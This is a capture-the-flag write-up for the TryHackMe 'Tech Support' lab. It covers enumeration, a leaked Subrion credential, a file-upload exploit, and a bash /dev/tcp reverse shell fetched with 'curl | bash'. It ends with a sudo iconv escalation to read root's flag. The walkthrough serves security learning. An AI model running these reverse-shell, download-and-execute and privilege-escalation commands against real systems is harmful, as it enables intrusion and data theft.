TECH SUPPORT – THM

https://tryhackme.com/room/techsupp0rt1

This easy rated room was particularly enjoyable for me as I hate scammers and I really enjoyed this theme. This was a room that allowed the basics of enumeration and exploitation to be practiced and the dangers of poor implementation of security practices.

After obtaining or $IP_ADDRESS, adding to the /etc/hosts file and having connected to the THM network, we run AutoRecon (A multi-threaded tool that allows the enumeration phase to be automated). As its an easy room, we can run Autorecon its basic form.

```
sudo autorecon tech-support.thm
```

The Nmap scan results show

```
22/tcp  open  ssh         syn-ack ttl 63 OpenSSH 7.2p2 Ubuntu 4ubuntu2.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 10:8a:f5:72:d7:f9:7e:14:a5:c5:4f:9e:97:8b:3d:58 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCtST3F95eem6k4V02TcUi7/Qtn3WvJGNfqpbE+7EVuN2etoFpihgP5LFK2i/EDbeIAiEPALjtKy3gFMEJ5QDCkglBYt3gUbYv29TQBdx+LZQ8Kjry7W+KCKXhkKJEVnkT5cN6lYZIGAkIAVXacZ/YxWjj+ruSAx07fnNLMkqsMR9VA+8w0L2BsXhzYAwCdWrfRf8CE1UEdJy6WIxRsxIYOk25o9R44KXOWT2F8pP2tFbNcvUMlUY6jGHmXgrIEwDiBHuwd3uG5cVVmxJCCSY6Ygr9Aa12nXmUE5QJE9lisYIPUn9IjbRFb2d2hZE2jQHq3WCGdAls2Bwnn7Rgc7J09
|   256 7f:10:f5:57:41:3c:71:db:b5:5b:db:75:c9:76:30:5c (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBClT+wif/EERxNcaeTiny8IrQ5Qn6uEM7QxRlouee7KWHrHXomCB/Bq4gJ95Lx5sRPQJhGOZMLZyQaKPTIaILNQ=
|   256 6b:4c:23:50:6f:36:00:7c:a6:7c:11:73:c1:a8:60:0c (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIDolvqv0mvkrpBMhzpvuXHjJlRv/vpYhMabXxhkBxOwz
80/tcp  open  http        syn-ack ttl 63 Apache httpd 2.4.18 ((Ubuntu))
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
139/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open  netbios-ssn syn-ack ttl 63 Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
```

In a nutshell, the SSH, HTTP, and the SMB ports are open. We do not have any credentials to use with SSH so we can ignore it for the time being. Due to the few ports open, I am inclined to believe that this is a Linux machine.
Focusing on Port 80, loading the $IP_ADDRESS in the browser we are greeted with the Apache landing page. It's time for some directory brute-forcing.

```
ffuf -u http://tech.thm/FUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -c -o 'Ffuf_Tech1' -e .txt,.php.sh -t 50 --recursion --recursion-depth 2
```

We find the directories

/test
/wordpress.

Navigating to the /test folder, we find a webpage that is filled with alerts. This looks like the scammers testing environment. The source code does not have anything of interest. On the /wordpress directory we find a WordPress site running. Seeing as we are dealing with a WordPress site, WPScan is good tool we run.

```
sudo wpscan --url "http://10.10.67.171/wordpress" -e ap --api-token ‘your token’ --plugins-detection aggressive
```

The api-token can be obtained by registering for an account at WPScan. While the scan is in progress, we can check the SMB results from AutoRecon.

We found that we can login in as a guest and there is a share called websvr. Using *smbclient* we can connect to the share. We find a note that gives us some important information.

```
GOALS
=====
1)Make fake popup and host it online on Digital Ocean server
2)Fix subrion site, /subrion doesn't work, edit from panel
3)Edit wordpress website

IMP
===
Subrion creds
|->admin:7sKvntXdPEJaxazce9PXi24zaFrLiKWCk [cooked with magical formula] (may be encrypted?)
Wordpress creds
|→
```

So according to this note, the *test directory we found is the first Goal. There is a broken site at http:*/$ip_address/subrion. There is a way to fix using a panel which likely means there is a login page somewhere on that url. There is WordPress site that has some issues that we have already found. We also find some credentials, a username and a password for Subrion which on research is a CMS. The note seems to be incomplete as conveniently we do not have the WordPress credentials provided.

The WordPress site is riddled with vulnerabilities but due to their complicated nature, they are most likely not the intended path. Navigating to /subrion, we can a endless loading page with finally an error. Random thought, what if... the mention of panel in the note is actually referring to a directory? Navigating to /subrion/panel we get a login page. The page discloses the CMS version and looking onlinec, we find that this articular vwrsion is vulnerable to an Authenticated File Upload vulnerability. Exploit-DB and GitHub have exploits that need working credentials.

The note did have some credentials so lets try them. Authentication Error. The note did hint that some sort of transformation has been done on the password. Looking through some online tools to check the encoding algorithm but we find its unidentified.

Cyber Chef has a Magic Feature where it will try to automatically try to decrypt an encoded string. Using the feature we manage to get the password. We attempt to login and Authentication success. We can try using the exploits. For this, I used to the GitHub script as it did not need any editing.

Success, we have a web-shell. Web-shells are fairly unstable and we will loose our connection a lot of times. We need to get a more stable shell. On our attacking machine, we write up a reverse shell bash script.

```
#!/bin/bash

bash -i >& /dev/tcp/$our_ip/$our_listening_port 0>&1
```

We set up a Python web server

```
python3 -m http.server 4000
```

and our netcat listener

```
rlwrap nc -lnvp 4444 (feel free to use any port)
```

rlwrap : allows control keys on the shell to be used

-l : listener

-n : dont perform any DNS name resolution

-v : verbose

-p : desired port

On our PHP web-shell, we download the script and execute it immediately using

```
curl http://$our_ip/reverse.sh | bash
```

We should have a stable reverse shell. WE can automate the Privilege escalation process by downloading LinEnum using curl. However, we don’t find any immediately obvious escalation vectors. We do find that the root user is allowed to SSH in and that there is a user called scamsite.

Thinking on possible vectors, the file structure of a WordPress site always has a wp-config.php that can potentially contain credentials. The default storage location for WordPress is in /*var*/www/html. We do find some credentials for the scamsite user and we can attempt to SSH in using them.

```
ssh scamsite@$ip_address
```

Great, we now have an even more stable shell. Running sudo -l, the scamsite user is allowed to run */usr/bin/icon a*s root with no password. GTFOBins [https://gtfobins.github.io] has a list of binaries that can be exploited on a system. The iconv is listed in its database along with the sudo persmission.

As quoted from the Linux man page, “***The iconv program converts the encoding of characters in inputfile from one coded character set to another. The result is written to standard output unless otherwise specified by the –output option.”***

As quoted from the GTFOBins page under *iconv*

> ***If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.***

```
•LFILE=file_to_read
./iconv -f 8859_1 -t 8859_1 "$LFILE"
```

Setting the LFILE variable to /root/root.txt as that is the room objective, we execute the binary with

```
sudo usr/bin/iconv -f 8859_1 -t 8859_1 “$LFILE”
```

Success.

--